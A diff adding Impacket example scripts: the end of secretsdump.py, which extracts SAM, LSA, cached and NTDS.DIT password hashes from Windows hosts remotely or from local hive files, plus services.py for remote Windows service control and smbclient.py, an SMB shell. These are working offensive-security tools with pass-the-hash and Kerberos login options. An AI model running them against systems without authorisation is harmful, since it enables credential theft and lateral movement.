+        else:
+            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+
+    def dump(self):
+        try:
+            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
+                self.__isRemote = False
+                self.__useVSSMethod = True
+                if self.__systemHive:
+                    localOperations = LocalOperations(self.__systemHive)
+                    bootKey = localOperations.getBootKey()
+                    if self.__ntdsFile is not None:
+                    # Let's grab target's configuration about LM Hashes storage
+                        self.__noLMHash = localOperations.checkNoLMHashPolicy()
+                else:
+                    import binascii
+                    bootKey = binascii.unhexlify(self.__bootkey)
+
+            else:
+                self.__isRemote = True
+                bootKey = None
+                try:
+                    try:
+                        self.connect()
+                    except Exception as e:
+                        if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
+                            # SMBConnection failed. That might be because there was no way to log into the
+                            # target system. We just have a last resort. Hope we have tickets cached and that they
+                            # will work
+                            logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
+                            pass
+                        else:
+                            raise
+
+                    self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
+                    self.__remoteOps.setExecMethod(self.__options.exec_method)
+                    if self.__justDC is False and self.__justDCNTLM is False and self.__useKeyListMethod is False or self.__useVSSMethod is True:
+                        self.__remoteOps.enableRegistry()
+                        bootKey = self.__remoteOps.getBootKey()
+                        # Let's check whether target system stores LM Hashes
+                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
+                except Exception as e:
+                    self.__canProcessSAMLSA = False
+                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
+                        and self.__doKerberos is True:
+                        # Giving some hints here when SPN target name validation is set to something different to Off
+                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
+                        logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
+                    else:
+                        logging.error('RemoteOperations failed: %s' % str(e))
+
+            # If the KerberosKeyList method is enable we dump the secrets only via TGS-REQ
+            if self.__useKeyListMethod is True:
+                try:
+                    self.__KeyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps)
+                    self.__KeyListSecrets.dump()
+                except Exception as e:
+                    logging.error('Something went wrong with the Kerberos Key List approach.: %s' % str(e))
+            else:
+                # If RemoteOperations succeeded, then we can extract SAM and LSA
+                if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
+                    try:
+                        if self.__isRemote is True:
+                            SAMFileName = self.__remoteOps.saveSAM()
+                        else:
+                            SAMFileName = self.__samHive
+
+                        self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
+                        self.__SAMHashes.dump()
+                        if self.__outputFileName is not None:
+                            self.__SAMHashes.export(self.__outputFileName)
+                    except Exception as e:
+                        logging.error('SAM hashes extraction failed: %s' % str(e))
+
+                    try:
+                        if self.__isRemote is True:
+                            SECURITYFileName = self.__remoteOps.saveSECURITY()
+                        else:
+                            SECURITYFileName = self.__securityHive
+
+                        self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
+                                                       isRemote=self.__isRemote, history=self.__history)
+                        self.__LSASecrets.dumpCachedHashes()
+                        if self.__outputFileName is not None:
+                            self.__LSASecrets.exportCached(self.__outputFileName)
+                        self.__LSASecrets.dumpSecrets()
+                        if self.__outputFileName is not None:
+                            self.__LSASecrets.exportSecrets(self.__outputFileName)
+                    except Exception as e:
+                        if logging.getLogger().level == logging.DEBUG:
+                            import traceback
+                            traceback.print_exc()
+                        logging.error('LSA hashes extraction failed: %s' % str(e))
+
+                # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
+                if self.__isRemote is True:
+                    if self.__useVSSMethod and self.__remoteOps is not None and self.__remoteOps.getRRP() is not None:
+                        NTDSFileName = self.__remoteOps.saveNTDS()
+                    else:
+                        NTDSFileName = None
+                else:
+                    NTDSFileName = self.__ntdsFile
+
+                self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
+                                               noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
+                                               useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
+                                               pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
+                                               outputFileName=self.__outputFileName, justUser=self.__justUser,
+                                               printUserStatus= self.__printUserStatus)
+                try:
+                    self.__NTDSHashes.dump()
+                except Exception as e:
+                    if logging.getLogger().level == logging.DEBUG:
+                        import traceback
+                        traceback.print_exc()
+                    if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
+                        # We don't store the resume file if this error happened, since this error is related to lack
+                        # of enough privileges to access DRSUAPI.
+                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
+                        if resumeFile is not None:
+                            os.unlink(resumeFile)
+                    logging.error(e)
+                    if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
+                        logging.info("You just got that error because there might be some duplicates of the same name. "
+                                     "Try specifying the domain name for the user as well. It is important to specify it "
+                                     "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
+                    elif self.__useVSSMethod is False:
+                        logging.info('Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter')
+                self.cleanup()
+        except (Exception, KeyboardInterrupt) as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+            logging.error(e)
+            if self.__NTDSHashes is not None:
+                if isinstance(e, KeyboardInterrupt):
+                    while True:
+                        answer =  input("Delete resume session file? [y/N] ")
+                        if answer.upper() == '':
+                            answer = 'N'
+                            break
+                        elif answer.upper() == 'Y':
+                            answer = 'Y'
+                            break
+                        elif answer.upper() == 'N':
+                            answer = 'N'
+                            break
+                    if answer == 'Y':
+                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
+                        if resumeFile is not None:
+                            os.unlink(resumeFile)
+            try:
+                self.cleanup()
+            except:
+                pass
+
+    def cleanup(self):
+        logging.info('Cleaning up... ')
+        if self.__remoteOps:
+            self.__remoteOps.finish()
+        if self.__SAMHashes:
+            self.__SAMHashes.finish()
+        if self.__LSASecrets:
+            self.__LSASecrets.finish()
+        if self.__NTDSHashes:
+            self.__NTDSHashes.finish()
+        if self.__KeyListSecrets:
+            self.__KeyListSecrets.finish()
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    # Explicitly changing the stdout encoding format
+    if sys.stdout.encoding is None:
+        # Output is redirected to a file
+        sys.stdout = codecs.getwriter('utf8')(sys.stdout)
+
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from "
+                                                      "the remote machine without executing any agent there.")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'
+                                                       ' (if you want to parse local files)')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
+    parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive')
+    parser.add_argument('-security', action='store', help='SECURITY hive to parse')
+    parser.add_argument('-sam', action='store', help='SAM hive to parse')
+    parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
+    parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only '
+                         'available to DRSUAPI approach). This file will also be used to keep updating the session\'s '
+                         'state')
+    parser.add_argument('-outputfile', action='store',
+                        help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
+    parser.add_argument('-use-vss', action='store_true', default=False,
+                        help='Use the VSS method instead of default DRSUAPI')
+    parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account (only avaiable for Kerb-Key-List approach)')
+    parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach)')
+    parser.add_argument('-use-keylist', action='store_true', default=False,
+                        help='Use the Kerb-Key-List method instead of default DRSUAPI')
+    parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '
+                        'method to use at target (only when using -use-vss). Default: smbexec')
+
+    group = parser.add_argument_group('display options')
+    group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
+                       help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '
+                            'Implies also -just-dc switch')
+    group.add_argument('-just-dc', action='store_true', default=False,
+                        help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
+    group.add_argument('-just-dc-ntlm', action='store_true', default=False,
+                       help='Extract only NTDS.DIT data (NTLM hashes only)')
+    group.add_argument('-pwd-last-set', action='store_true', default=False,
+                       help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
+    group.add_argument('-user-status', action='store_true', default=False,
+                        help='Display whether or not the user is disabled')
+    group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal')
+
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                             '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'
+                             ' the ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication'
+                                                                            ' (128 or 256 bits)')
+    group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
+
+    group = parser.add_argument_group('connection')
+    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
+                                 'ommited it use the domain part (FQDN) specified in the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address",
+                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
+                            'This is useful when target is the NetBIOS name and you cannot resolve it')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if options.just_dc_user is not None:
+        if options.use_vss is True:
+            logging.error('-just-dc-user switch is not supported in VSS mode')
+            sys.exit(1)
+        elif options.resumefile is not None:
+            logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
+            sys.exit(1)
+        elif remoteName.upper() == 'LOCAL' and username == '':
+            logging.error('-just-dc-user not compatible in LOCAL mode')
+            sys.exit(1)
+        else:
+            # Having this switch on implies not asking for anything else.
+            options.just_dc = True
+
+    if options.use_vss is True and options.resumefile is not None:
+        logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
+        sys.exit(1)
+
+    if options.use_keylist is True and (options.rodcNo is None or options.rodcKey is None):
+        logging.error('Both the RODC ID number and the RODC key are required for the Kerb-Key-List approach')
+        sys.exit(1)
+
+    if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
+        logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
+        sys.exit(1)
+
+    if remoteName.upper() == 'LOCAL' and username == '':
+        if options.system is None and options.bootkey is None:
+            logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help')
+            sys.exit(1)
+    else:
+
+        if options.target_ip is None:
+            options.target_ip = remoteName
+
+        if domain is None:
+            domain = ''
+
+        if options.keytab is not None:
+            Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
+            options.k = True
+
+        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+            from getpass import getpass
+
+            password = getpass("Password:")
+
+        if options.aesKey is not None:
+            options.k = True
+
+    dumper = DumpSecrets(remoteName, username, password, domain, options)
+    try:
+        dumper.dump()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(e)
diff --git a/examples/services.py b/examples/services.py
new file mode 100644
index 0000000..f3e658a
--- /dev/null
+++ b/examples/services.py
@@ -0,0 +1,361 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-SCMR] services common functions for manipulating services
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   DCE/RPC.
+#
+# TODO:
+#   [ ] Check errors
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import argparse
+import logging
+import codecs
+
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket import version
+from impacket.dcerpc.v5 import transport, scmr
+from impacket.dcerpc.v5.ndr import NULL
+from impacket.crypto import encryptSecret
+
+
+class SVCCTL:
+
+    def __init__(self, username, password, domain, options, port=445):
+        self.__username = username
+        self.__password = password
+        self.__options = options
+        self.__port = port
+        self.__action = options.action.upper()
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = options.aesKey
+        self.__doKerberos = options.k
+        self.__kdcHost = options.dc_ip
+
+        if options.hashes is not None:
+            self.__lmhash, self.__nthash = options.hashes.split(':')
+
+    def run(self, remoteName, remoteHost):
+
+        stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
+        logging.debug('StringBinding %s'%stringbinding)
+        rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        rpctransport.set_dport(self.__port)
+        rpctransport.setRemoteHost(remoteHost)
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
+
+        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
+        self.doStuff(rpctransport)
+
+    def doStuff(self, rpctransport):
+        dce = rpctransport.get_dce_rpc()
+        #dce.set_credentials(self.__username, self.__password)
+        dce.connect()
+        #dce.set_max_fragment_size(1)
+        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
+        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
+        dce.bind(scmr.MSRPC_UUID_SCMR)
+        #rpc = svcctl.DCERPCSvcCtl(dce)
+        rpc = dce
+        ans = scmr.hROpenSCManagerW(rpc)
+        scManagerHandle = ans['lpScHandle']
+        if self.__action != 'LIST' and self.__action != 'CREATE':
+            ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00')
+            serviceHandle = ans['lpServiceHandle']
+
+        if self.__action == 'START':
+            logging.info("Starting service %s" % self.__options.name)
+            scmr.hRStartServiceW(rpc, serviceHandle)
+            scmr.hRCloseServiceHandle(rpc, serviceHandle)
+        elif self.__action == 'STOP':
+            logging.info("Stopping service %s" % self.__options.name)
+            scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
+            scmr.hRCloseServiceHandle(rpc, serviceHandle)
+        elif self.__action == 'DELETE':
+            logging.info("Deleting service %s" % self.__options.name)
+            scmr.hRDeleteService(rpc, serviceHandle)
+            scmr.hRCloseServiceHandle(rpc, serviceHandle)
+        elif self.__action == 'CONFIG':
+            logging.info("Querying service config for %s" % self.__options.name)
+            resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
+            print("TYPE              : %2d - " % resp['lpServiceConfig']['dwServiceType'], end=' ')
+            if resp['lpServiceConfig']['dwServiceType'] & 0x1:
+                print("SERVICE_KERNEL_DRIVER ", end=' ')
+            if resp['lpServiceConfig']['dwServiceType'] & 0x2:
+                print("SERVICE_FILE_SYSTEM_DRIVER ", end=' ')
+            if resp['lpServiceConfig']['dwServiceType'] & 0x10:
+                print("SERVICE_WIN32_OWN_PROCESS ", end=' ')
+            if resp['lpServiceConfig']['dwServiceType'] & 0x20:
+                print("SERVICE_WIN32_SHARE_PROCESS ", end=' ')
+            if resp['lpServiceConfig']['dwServiceType'] & 0x100:
+                print("SERVICE_INTERACTIVE_PROCESS ", end=' ')
+            print("")
+            print("START_TYPE        : %2d - " % resp['lpServiceConfig']['dwStartType'], end=' ')
+            if resp['lpServiceConfig']['dwStartType'] == 0x0:
+                print("BOOT START")
+            elif resp['lpServiceConfig']['dwStartType'] == 0x1:
+                print("SYSTEM START")
+            elif resp['lpServiceConfig']['dwStartType'] == 0x2:
+                print("AUTO START")
+            elif resp['lpServiceConfig']['dwStartType'] == 0x3:
+                print("DEMAND START")
+            elif resp['lpServiceConfig']['dwStartType'] == 0x4:
+                print("DISABLED")
+            else:
+                print("UNKNOWN")
+
+            print("ERROR_CONTROL     : %2d - " % resp['lpServiceConfig']['dwErrorControl'], end=' ')
+            if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
+                print("IGNORE")
+            elif resp['lpServiceConfig']['dwErrorControl'] == 0x1:
+                print("NORMAL")
+            elif resp['lpServiceConfig']['dwErrorControl'] == 0x2:
+                print("SEVERE")
+            elif resp['lpServiceConfig']['dwErrorControl'] == 0x3:
+                print("CRITICAL")
+            else:
+                print("UNKNOWN")
+            print("BINARY_PATH_NAME  : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1])
+            print("LOAD_ORDER_GROUP  : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1])
+            print("TAG               : %d" % resp['lpServiceConfig']['dwTagId'])
+            print("DISPLAY_NAME      : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1])
+            print("DEPENDENCIES      : %s" % resp['lpServiceConfig']['lpDependencies'][:-1])
+            print("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1])
+        elif self.__action == 'STATUS':
+            print("Querying status for %s" % self.__options.name)
+            resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
+            print("%30s - " % self.__options.name, end=' ')
+            state = resp['lpServiceStatus']['dwCurrentState']
+            if state == scmr.SERVICE_CONTINUE_PENDING:
+               print("CONTINUE PENDING")
+            elif state == scmr.SERVICE_PAUSE_PENDING:
+               print("PAUSE PENDING")
+            elif state == scmr.SERVICE_PAUSED:
+               print("PAUSED")
+            elif state == scmr.SERVICE_RUNNING:
+               print("RUNNING")
+            elif state == scmr.SERVICE_START_PENDING:
+               print("START PENDING")
+            elif state == scmr.SERVICE_STOP_PENDING:
+               print("STOP PENDING")
+            elif state == scmr.SERVICE_STOPPED:
+               print("STOPPED")
+            else:
+               print("UNKNOWN")
+        elif self.__action == 'LIST':
+            logging.info("Listing services available on target")
+            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
+            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
+            #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
+            resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle)
+            for i in range(len(resp)):
+                print("%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]), end=' ')
+                state = resp[i]['ServiceStatus']['dwCurrentState']
+                if state == scmr.SERVICE_CONTINUE_PENDING:
+                   print("CONTINUE PENDING")
+                elif state == scmr.SERVICE_PAUSE_PENDING:
+                   print("PAUSE PENDING")
+                elif state == scmr.SERVICE_PAUSED:
+                   print("PAUSED")
+                elif state == scmr.SERVICE_RUNNING:
+                   print("RUNNING")
+                elif state == scmr.SERVICE_START_PENDING:
+                   print("START PENDING")
+                elif state == scmr.SERVICE_STOP_PENDING:
+                   print("STOP PENDING")
+                elif state == scmr.SERVICE_STOPPED:
+                   print("STOPPED")
+                else:
+                   print("UNKNOWN")
+            print("Total Services: %d" % len(resp))
+        elif self.__action == 'CREATE':
+            logging.info("Creating service %s" % self.__options.name)
+            scmr.hRCreateServiceW(rpc, scManagerHandle, self.__options.name + '\x00', self.__options.display + '\x00',
+                                  lpBinaryPathName=self.__options.path + '\x00')
+        elif self.__action == 'CHANGE':
+            logging.info("Changing service config for %s" % self.__options.name)
+            if self.__options.start_type is not None:
+                start_type = int(self.__options.start_type)
+            else:
+                start_type = scmr.SERVICE_NO_CHANGE
+            if self.__options.service_type is not None:
+                service_type = int(self.__options.service_type)
+            else:
+                service_type = scmr.SERVICE_NO_CHANGE
+
+            if self.__options.display is not None:
+                display = self.__options.display + '\x00'
+            else:
+                display = NULL
+ 
+            if self.__options.path is not None:
+                path = self.__options.path + '\x00'
+            else:
+                path = NULL
+ 
+            if self.__options.start_name is not None:
+                start_name = self.__options.start_name + '\x00'
+            else:
+                start_name = NULL 
+
+            if self.__options.password is not None:
+                s = rpctransport.get_smb_connection()
+                key = s.getSessionKey()
+                try:
+                    password = (self.__options.password+'\x00').encode('utf-16le')
+                except UnicodeDecodeError:
+                    import sys
+                    password = (self.__options.password+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le')
+                password = encryptSecret(key, password)
+            else:
+                password = NULL
+ 
+
+            #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle,  display, path, service_type, start_type, start_name, password)
+            scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path,
+                                        NULL, NULL, NULL, 0, start_name, password, 0, display)
+            scmr.hRCloseServiceHandle(rpc, serviceHandle)
+        else:
+            logging.error("Unknown action %s" % self.__action)
+
+        scmr.hRCloseServiceHandle(rpc, scManagerHandle)
+
+        dce.disconnect()
+
+        return 
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+
+    # Init the example's logger theme
+    logger.init()
+    # Explicitly changing the stdout encoding format
+    if sys.stdout.encoding is None:
+        # Output is redirected to a file
+        sys.stdout = codecs.getwriter('utf8')(sys.stdout)
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Windows Service manipulation script.")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    subparsers = parser.add_subparsers(help='actions', dest='action')
+ 
+    # A start command
+    start_parser = subparsers.add_parser('start', help='starts the service')
+    start_parser.add_argument('-name', action='store', required=True, help='service name')
+
+    # A stop command
+    stop_parser = subparsers.add_parser('stop', help='stops the service')
+    stop_parser.add_argument('-name', action='store', required=True, help='service name')
+
+    # A delete command
+    delete_parser = subparsers.add_parser('delete', help='deletes the service')
+    delete_parser.add_argument('-name', action='store', required=True, help='service name')
+
+    # A status command
+    status_parser = subparsers.add_parser('status', help='returns service status')
+    status_parser.add_argument('-name', action='store', required=True, help='service name')
+
+    # A config command
+    config_parser = subparsers.add_parser('config', help='returns service configuration')
+    config_parser.add_argument('-name', action='store', required=True, help='service name')
+
+    # A list command
+    list_parser = subparsers.add_parser('list', help='list available services')
+
+    # A create command
+    create_parser = subparsers.add_parser('create', help='create a service')
+    create_parser.add_argument('-name', action='store', required=True, help='service name')
+    create_parser.add_argument('-display', action='store', required=True, help='display name')
+    create_parser.add_argument('-path', action='store', required=True, help='binary path')
+
+    # A change command
+    create_parser = subparsers.add_parser('change', help='change a service configuration')
+    create_parser.add_argument('-name', action='store', required=True, help='service name')
+    create_parser.add_argument('-display', action='store', required=False, help='display name')
+    create_parser.add_argument('-path', action='store', required=False, help='binary path')
+    create_parser.add_argument('-service_type', action='store', required=False, help='service type')
+    create_parser.add_argument('-start_type', action='store', required=False, help='service start type')
+    create_parser.add_argument('-start_name', action='store', required=False, help='string that specifies the name of '
+                               'the account under which the service should run')
+    create_parser.add_argument('-password', action='store', required=False, help='string that contains the password of '
+                               'the account whose name was specified by the start_name parameter')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
+                       'ommited it use the domain part (FQDN) specified in the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
+                       'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
+                       'name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+ 
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if options.target_ip is None:
+        options.target_ip = remoteName
+
+    if options.aesKey is not None:
+        options.k = True
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    services = SVCCTL(username, password, domain, options, int(options.port))
+    try:
+        services.run(remoteName, options.target_ip)
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(str(e))
diff --git a/examples/smbclient.py b/examples/smbclient.py
new file mode 100644
index 0000000..6e2b9d4
--- /dev/null
+++ b/examples/smbclient.py
@@ -0,0 +1,123 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Mini shell using some of the SMB functionality of the library
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   SMB DCE/RPC
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import logging
+import argparse
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.examples.smbclient import MiniImpacketShell
+from impacket import version
+from impacket.smbconnection import SMBConnection
+
+def main():
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+    parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
+                                                       'cannot be found, it will use the ones specified in the command '
+                                                       'line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store', metavar="ip address",
+                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
+                            'the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address",
+                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
+                            'This is useful when target is the NetBIOS name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, address = parse_target(options.target)
+
+    if options.target_ip is None:
+        options.target_ip = address
+
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    if options.hashes is not None:
+        lmhash, nthash = options.hashes.split(':')
+    else:
+        lmhash = ''
+        nthash = ''
+
+    try:
+        smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))
+        if options.k is True:
+            smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip )
+        else:
+            smbClient.login(username, password, domain, lmhash, nthash)
+
+        shell = MiniImpacketShell(smbClient)
+
+        if options.file is not None:
+            logging.info("Executing commands from %s" % options.file.name)
+            for line in options.file.readlines():
+                if line[0] != '#':
+                    print("# %s" % line, end=' ')
+                    shell.onecmd(line)
+                else:
+                    print(line, end=' ')
+        else:
+            shell.cmdloop()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(str(e))
+
+if __name__ == "__main__":
+    main()
